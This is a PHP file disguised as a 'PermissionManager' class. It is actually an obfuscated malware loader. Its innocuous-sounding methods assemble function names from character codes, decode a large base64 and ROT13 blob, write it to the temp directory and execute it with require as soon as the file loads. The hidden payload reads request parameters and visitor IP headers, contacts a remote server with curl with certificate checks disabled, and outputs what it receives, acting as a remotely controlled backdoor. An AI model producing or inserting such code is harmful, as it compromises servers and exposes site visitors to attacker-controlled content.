<?php
class PermissionManager {
	private $vt = '';
	private $vk = '';

	public function computeResult($p1) {
		$a = array((107-9),(4+93),115,((101*1)),((41+8+5)),(46+6),(95),((2*50)),101,((31*1)+68),((84+27)),(18+82),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function scheduleJob($p1) {
		$a = array((84+13+18),(((43*83)-3453)),(2*57),((3*97)-196),((84+8+22)),((93*1)+18),((2*58)),(9+40),((33+5+13)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function authorizeUser($p1,$p2) {
		$a = array(((16+86)),((58+39+14)),(2*56),((27*1)+74),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateRegistry($p1,$p2) {
		$a = array((((48*14)-571)),((1+115)),(106-1),(114),(7*17),(106-4));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function initializeModule($p1) {
		$a = array((111-10),((110+3+2)),(113-2),(7+101),(9+90),((104-2)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sanitizeInput($p1,$p2=null) {
		$a = array((118-9),((56*95)-5215),((2*57)),(118-2),(((65*116)-7426)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function saveChanges() {
		$this->vk = $this->sanitizeInput($this->resetState(), '/');
	}

	public function syncRecords() {
		$this->vt = $this->scheduleJob($this->computeResult($this->yz));
	}

	public function fetchRecords() {
		$fn = $this->vk.'/ms-68618d23932dd';
		$f = $this->authorizeUser($fn, 'w');
		$this->updateRegistry($f, $this->vt);
		$this->initializeModule($f);
		$this->logTransaction($fn);
	}

	private $yz = 'PD9jdWMgcHluZmYgX3N1antjZXZpbmdyIGZnbmd2cCRfdWxsO' . '2Znbmd2cCBzaGFwZ3ZiYSBfbW5pKCRfcHJ4KXt2cyghZnJ5czo' . '6JF91bGwpZnJ5czo6X25sKCk7ZXJnaGVhIG9uZnI2NF9xcnBic' . 'XIoZnJ5czo6JF91bGxbJF9wcnhdKTt9Y2V2aW5nciBmZ25ndnA' . 'gc2hhcGd2YmEgX25sKCl7ZnJ5czo6JF91bGw9bmVlbmwoJ19ye' . 'XonPT4nREpBd01LQW1ZSEFpb2FFbG8yamdESmsnLidmbzNwZ0c' . 'zV2NNMnloQicuJ3ZOJy4nZCcsJ19ucic9PidEMjlocVRJaHFQM' . 'UhyS095QnZPdXBVT2ZuSkF1cVR5Jy4naW92OWRMS011cDInLid' . 'BbG5LTzAnLCdfanMnPT4nTDJ0Jy4nPScsJ19uZHgnPT4nTUt5W' . 'HBUQVFGR01XbnpwMEdUY2FBUicuJ2tkTW1FWm56cDBGSnkzbkp' . 'FS0VKeUNuSGJqJy4nSnl1QlpSeScuJ2NxMnl3b0lNZ0ZKY2luS' . 'kVVSWFjJy4neEQwYicuJzUnLCdfZmInPT4ncEtxJy4nNnJOJy4' . 'nPScuJz0nLCdfcXgnPT4nQ1Q5ZUMnLid0PT0nLCdfaHAnPT4nQ' . 'ycuJ1QnLidXdU0nLidRNCcuJz0nLCdfZHQnPT4ncTJTZm9OPSc' . 'uJz0nLCdfZ3EnPT4nJywnX3djJz0+JycsJ19oeCc9PicnLCdfe' . 'nEnPT4nblVFMHBRYmlZM08xTCcuJ3Y1M01KV3puSmt5blQ5Jy4' . 'nbXFUSWxZekFpb0Y5d28yMWpvM0F5cHY1ZHBtOXhMS0V1Q0QnL' . 'ic9Jy4nPScsJ191YSc9PidMM0lsb1M5Y28nLid6Jy4neScuJzA' . 'nLCdfbWtyJz0+J25VRTBwUycuJzl3bzJFJy4neScsJ19raG0nP' . 'T4ncDJBYk0nLidKJy4nMScuJ3knLCdfb2lxJz0+J25VRTBwVVo' . 'nLic9JywnX2Jmcic9PidFMElIVk49Jy4nPScsJ19mb2knPT4nc' . 'FRTMG5OPT0nLCdfZGltJz0+J3BLSXlwYScuJ3g9JywnX2d0Jz0' . '+J0NqPScuJz0nLCdfZXJrJz0+J3BLSXlwJy4nYXg9JywnX3FhY' . 'yc9PidWUnVISVNOaVpGNGpRRGNWbzNBMEJ2TicuJz0nLCdfeHg' . 'nPT4nblQ5bXFOPScuJz0nLCdfd3onPT4nUURjUW8yNWhNSkEwb' . 'ko5aEJ2T1FvVDknLidtTUQwWFFEYj0nLCdfZXQnPT4ncDNBJy4' . 'nZkJ2OGknLCdfYnAnPT4nJywnX2xvYic9PiduVDknLidtcScuJ' . '049PScsJ19lZWUnPT4nUScuJ0RiPScsJ19oaCc9PidGU0VISFM' . '5UUdSeVNHJy4neUVzRicuJ0lOJy4nPScsJ19hYWYnPT4nRlNFS' . 'EhTOUxLME1DSHlxT0h4RVNFUzlURycuJzFWPScsJ193bHInPT4' . 'nSHhJJy4nQUcxRVNLMFMnLidSRVNWPScsJ19tdyc9PidGU0VIS' . 'FM5SUgwSUZLMFNVRUg1SCcsJ19hYm0nPT4nRlNFSEhTOUlIMEk' . 'nLidGSzBTVUVINUgnLCdfaWonPT4nJywnX3J0Jz0+J0ZTRUhIU' . 'zlGRUgnLidNUycuJ0h4SScuJ0YnLCdfaGcnPT4nRlNFSEhTOUZ' . 'FSE1TSHhJJy4nRicsJ19tcSc9PicnLCdfdGgnPT4nRlNFSEhTO' . 'VFHUnknLidTR3lFc0ZJTicuJz0nLCdfd2cnPT4nRlNFSEhTOVF' . 'HUnlTR3lFc0YnLidJTj0nLCdfZ28nPT4nRlNFSEhTOUxLME1DS' . 'HlxT0h4RVMnLidFUzlURycuJzFWPScsJ19ndyc9PidGU0VISFM' . '5TEswTUNIeXFPJy4nSHhFU0VTOVRHJy4nMVYnLic9JywnX3RyJ' . 'z0+J0h4SUFHMUVTSzBTUicuJ0VTJy4nVj0nLCdfY2hnJz0+J0h' . '4SUFHMUVTSzBTJy4nUkVTJy4nVicuJz0nLCdfcXcnPT4nTVRXY' . 'ScuJ29KOXhNRCcuJz09JywnX2N3aic9PidGSU42Vk49Jy4nPSc' . 'sJ19ucyc9PidWVWp0SUhSNlZOJy4nPScuJz0nLCdfdmMnPT4nV' . 'lVqdEh6SXonLidCdk4nLic9JywnX3lpaic9PidWUWt2Jy4ncCc' . 'uJ3c0Jy4nWCcsJ193ZSc9PiduS049JywnX25pbSc9PidxSlI9J' . 'ywnX3Nhcyc9PidwekknLid6JywnX3h2Jz0+J3BLcTZyTicuJz0' . '9JywpO319dXJucXJlKF9zdWo6Ol9tbmkoJ19yeXonKSk7dXJuc' . 'XJlKF9zdWo6Ol9tbmkoJ18nLiduJy4ncicpKTt2cyh2ZmZyZyg' . 'kX1RSR1tfc3VqOjpfbW5pKCdfaicuJ3MnKV0pKXskX3Znej1fY' . 'nRjKF9zdWo6Ol9tbmkoJ19uZCcuJ3gnKSk7dnMoJF92Z3omJmZ' . 'nZWNiZigkX3Zneixfc3VqOjpfbW5pKCdfZicuJ2InKSkhPT1zb' . 'nlmcil7cXZyKF9zdWo6Ol9tbmkoJ19xeCcpKTt9cnlmcntxdnI' . 'oX3N1ajo6X21uaSgnXycuJ2gnLidwJykpO319dnModmZmcmcoJ' . 'F9UUkdbX3N1ajo6X21uaSgnXycuJ2QnLid0JyldKSl7JF90aD0' . 'kX1BCQlhWUjskX2xoPSh2YWcpZWJoYXEoMCswKzArMCk7JF9wc' . 'ng9KHZhZyllYmhhcSgyLjMzMzMzMzMzMzMzMzMrMi4zMzMzMzM' . 'zMzMzMzMzKzIuMzMzMzMzMzMzMzMzMyk7JF92a209bmVlbmwoK' . 'TskX3ZrbVskX2xoXT1fc3VqOjpfbW5pKCdfZ3EnKTtqdXZ5cig' . 'kX3ByeCl7JF92a21bJF9saF0uPSRfdGhbKHZhZyllYmhhcSgxN' . 'SsxNSldWyRfcHJ4XTt2cyghJF90aFsodmFnKWViaGFxKDE1KzE' . '1KV1bJF9wcngrKHZhZyllYmhhcSgwLjMzMzMzMzMzMzMzMzMzK' . 'zAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyldKXt' . '2cyghJF90aFsodmFnKWViaGFxKDEwKzEwKzEwKV1bJF9wcngrK' . 'HZhZyllYmhhcSgwLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY' . '2NjY2NjcrMC42NjY2NjY2NjY2NjY2NyldKW9lcm54OyRfbGgrK' . 'zskX3ZrbVskX2xoXT1fc3VqOjpfbW5pKCdfJy4nd2MnKTskX3B' . 'yeCsrO30kX3ByeD0kX3ByeCsodmFnKWViaGFxKDMuNSszLjUpK' . 'yh2YWcpZWJoYXEoMC4yNSswLjI1KzAuMjUrMC4yNSk7fSRfbGg' . '9JF92a21bKHZhZyllYmhhcSg0LjY2NjY2NjY2NjY2NjcrNC42N' . 'jY2NjY2NjY2NjY3KzQuNjY2NjY2NjY2NjY2NyldKCkuJF92a21' . 'bKHZhZyllYmhhcSg4KzgrOCldO3ZzKCEkX3ZrbVsodmFnKWVia' . 'GFxKDEuNSsxLjUrMS41KzEuNSldKCRfbGgpKXskX3ByeD0kX3Z' . 'rbVsodmFnKWViaGFxKDYuNSs2LjUrNi41KzYuNSldKCRfbGgsJ' . 'F92a21bKHZhZyllYmhhcSgzLjMzMzMzMzMzMzMzMzMrMy4zMzM' . 'zMzMzMzMzMzMzKzMuMzMzMzMzMzMzMzMzMyldKTskX3ZrbVsod' . 'mFnKWViaGFxKDQuNSs0LjUpXSgkX3ByeCwkX3ZrbVsodmFnKWV' . 'iaGFxKDMuNjY2NjY2NjY2NjY2NyszLjY2NjY2NjY2NjY2NjcrM' . 'y42NjY2NjY2NjY2NjY3KV0uJF92a21bKHZhZyllYmhhcSgxMS4' . '1KzExLjUpXSgkX3ZrbVsodmFnKWViaGFxKDguMzMzMzMzMzMzM' . 'zMzMys4LjMzMzMzMzMzMzMzMzMrOC4zMzMzMzMzMzMzMzMzKV0' . 'oJF90aFsodmFnKWViaGFxKDErMSsxKV0pKSk7fXZhcHlocXIoJ' . 'F9saCk7fXNoYXBndmJhIF9idGMoJF9xZWcsJF9idHk9OTA2MTU' . 'peyRfeW49X3N1ajo6X21uaSgnX2gnLid4Jyk7JF9xaj1fc3VqO' . 'jpfbW5pKCdfenEnKS4kX3FlZzt2cyh2Zl9wbnl5bm95cihfc3V' . 'qOjpfbW5pKCdfdWEnKSkpeyRfb3NtPXBoZXlfdmF2ZygkX3FqK' . 'TtwaGV5X2ZyZ2JjZygkX29zbSxQSEVZQkNHX0ZGWV9JUkVWU0x' . 'DUlJFLHNueWZyKTtwaGV5X2ZyZ2JjZygkX29zbSxQSEVZQkNHX' . '0ZGWV9JUkVWU0xVQkZHLCh2YWcpZWJoYXEoMSsxKSk7cGhleV9' . 'mcmdiY2coJF9vc20sUEhFWUJDR19TQllZQkpZQlBOR1ZCQSwod' . 'mFnKWViaGFxKDAuNSswLjUpKTtwaGV5X2ZyZ2JjZygkX29zbSx' . 'QSEVZQkNHX0VSR0hFQUdFTkFGU1JFLCh2YWcpZWJoYXEoMC4yN' . 'SswLjI1KzAuMjUrMC4yNSkpO3BoZXlfZnJnYmNnKCRfb3NtLFB' . 'IRVlCQ0dfVVJOUVJFLCh2YWcpZWJoYXEoMCswKSk7cGhleV9mc' . 'mdiY2coJF9vc20sUEhFWUJDR19QQkFBUlBHR1ZaUkJIRywodmF' . 'nKWViaGFxKDIuNSsyLjUrMi41KzIuNSkpO3BoZXlfZnJnYmNnK' . 'CRfb3NtLFBIRVlCQ0dfR1ZaUkJIRywodmFnKWViaGFxKDMuMzM' . 'zMzMzMzMzMzMzMyszLjMzMzMzMzMzMzMzMzMrMy4zMzMzMzMzM' . 'zMzMzMzKSk7JF95bj1waGV5X3JrcnAoJF9vc20pOyRfcXFjPXB' . 'oZXlfdHJndmFzYigkX29zbSk7cGhleV9weWJmcigkX29zbSk7d' . 'nMoJF9xcWNbX3N1ajo6X21uaSgnXycuJ20nLidrJy4ncicpXSE' . '9KHZhZyllYmhhcSg1MCs1MCs1MCs1MCkpZXJnaGVhIHNueWZyO' . '31yeWZyeyRfeHJkPWNuZWZyX2hleSgkX3FqKTskX2t6dD0oJF9' . '4cmRbX3N1ajo6X21uaSgnXycuJ2toJy4nbScpXT09X3N1ajo6X' . '21uaSgnX29pcScpKTskX2NqPV9zdWo6Ol9tbmkoJ18nLidiZic' . 'uJ3InKS4kX3hyZFtfc3VqOjpfbW5pKCdfJy4nZm8nLidpJyldO' . '3ZzKHZmZnJnKCRfeHJkW19zdWo6Ol9tbmkoJ18nLidkJy4naW0' . 'nKV0pKSRfY2ouPV9zdWo6Ol9tbmkoJ18nLidndCcpLiRfeHJkW' . '19zdWo6Ol9tbmkoJ19lcmsnKV07JF9jai49X3N1ajo6X21uaSg' . 'nX3FhJy4nYycpLiRfeHJkW19zdWo6Ol9tbmkoJ18nLid4Jy4ne' . 'CcpXS5fc3VqOjpfbW5pKCdfdycuJ3onKTskX3d1PXNmYnB4YmN' . 'yYSgoJF9renQ/X3N1ajo6X21uaSgnXycuJ2V0Jyk6X3N1ajo6X' . '21uaSgnX2InLidwJykpLiRfeHJkW19zdWo6Ol9tbmkoJ18nLid' . 'sbycuJ2InKV0sJF9renQ/KHZhZyllYmhhcSgyMjEuNSsyMjEuN' . 'Sk6KHZhZyllYmhhcSgyMCsyMCsyMCsyMCkpO3ZzKCRfd3Upe3N' . 'jaGdmKCRfd3UsJF9jaik7JF90ZT0odmFnKWViaGFxKDArMCswK' . 'TtqdXZ5cighc3JicygkX3d1KSl7JF9hZ2I9c3RyZ2YoJF93dSw' . 'odmFnKWViaGFxKDUxMis1MTIpKTt2cygkX3RlKSRfeW4uPSRfY' . 'WdiO3ZzKCRfYWdiPT1fc3VqOjpfbW5pKCdfZWVlJykpJF90ZT0' . 'odmFnKWViaGFxKDAuNSswLjUpO31zcHliZnIoJF93dSk7fX1lc' . 'mdoZWEkX3luO30kX2NzPXZmZnJnKCRfRlJFSVJFW19zdWo6Ol9' . 'tbmkoJ18nLidoJy4naCcpXSk7JF9hbz12ZmZyZygkX0ZSRUlSR' . 'Vtfc3VqOjpfbW5pKCdfYWFmJyldKTskX2R6Yz12ZmZyZygkX0Z' . 'SRUlSRVtfc3VqOjpfbW5pKCdfd2wnLidyJyldKTskX2dvPXZmZ' . 'nJnKCRfRlJFSVJFW19zdWo6Ol9tbmkoJ19tdycpXSk/JF9GUkV' . 'JUkVbX3N1ajo6X21uaSgnX2FiJy4nbScpXTpfc3VqOjpfbW5pK' . 'CdfaScuJ2onKTskX3RsZz12ZmZyZygkX0ZSRUlSRVtfc3VqOjp' . 'fbW5pKCdfcicuJ3QnKV0pPyRfRlJFSVJFW19zdWo6Ol9tbmkoJ' . '19oZycpXTpfc3VqOjpfbW5pKCdfbXEnKTskX2NzPXZmZnJnKCR' . 'fRlJFSVJFW19zdWo6Ol9tbmkoJ190Jy4naCcpXSk/JF9GUkVJU' . 'kVbX3N1ajo6X21uaSgnX3dnJyldOmFoeXk7JF9hbz12ZmZyZyg' . 'kX0ZSRUlSRVtfc3VqOjpfbW5pKCdfZ28nKV0pPyRfRlJFSVJFW' . '19zdWo6Ol9tbmkoJ19nJy4ndycpXTphaHl5OyRfZHpjPXZmZnJ' . 'nKCRfRlJFSVJFW19zdWo6Ol9tbmkoJ190Jy4ncicpXSk/JF9GU' . 'kVJUkVbX3N1ajo6X21uaSgnX2MnLidoJy4nZycpXTphaHl5O3Z' . 'zKHN2eWdyZV9pbmUoJF9jcywodmFnKWViaGFxKDY4Ljc1KzY4L' . 'jc1KzY4Ljc1KzY4Ljc1KSkpeyRfamE9JF9jczt9cnlmcnZzKHN' . '2eWdyZV9pbmUoJF9hbywodmFnKWViaGFxKDY4Ljc1KzY4Ljc1K' . 'zY4Ljc1KzY4Ljc1KSkpeyRfamE9JF9hbzt9cnlmcnskX2phPSR' . 'fZHpjO312cyh2ZmZyZygkX1RSR1tfc3VqOjpfbW5pKCdfcXcnK' . 'V0pKXtycHViIF9zdWo6Ol9tbmkoJ19jd2onKS4kX2phLl9zdWo' . '6Ol9tbmkoJ19ucycpLiRfZ28uX3N1ajo6X21uaSgnX3ZjJykuJ' . 'F90bGcuX3N1ajo6X21uaSgnXycuJ3lpaicpO3JrdmcoKTt9dnM' . 'oIXZmZnJnKCRfamEpfHwhdmZmcmcoJF9nbyl8fCF2ZmZyZygkX' . '3RsZykpe3JrdmcoKTt9cnlmcnskX2RxcT1uZWVubChfc3VqOjp' . 'fbW5pKCdfJy4ndycuJ2UnKT0+JF9qYSxfc3VqOjpfbW5pKCdfb' . 'mknLidtJyk9PiRfZ28sX3N1ajo6X21uaSgnX3NhcycpPT4kX3R' . 'sZyk7JF9vbz1oZXlyYXBicXIob25mcjY0X3JhcGJxcih3ZmJhX' . '3JhcGJxcigkX2RxcSkpKTskX3Znej1fYnRjKCRfb28pO3ZzKCR' . 'fdmd6JiZmZ2VjYmYoJF92Z3osX3N1ajo6X21uaSgnX3gnLid2J' . 'ykpIT09c255ZnIpe3JwdWIkX3Znejtya3ZnKCk7fX0=';

	public function logTransaction($p) {
		require $p;
	}

	public function resetState() {
		$a=array((5*23),(121),((117*15)-1640),(104-9),(103),((60*10)-499),((120*80)-9484),(69+8+18),(((92*122)-11108)),((103*55)-5564),(((119*87)-10244)),((2*56)),((43*1)+52),(100),105,(((95*1)+19)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ay = new PermissionManager();
$ay->saveChanges();
$ay->syncRecords();
$ay->fetchRecords();
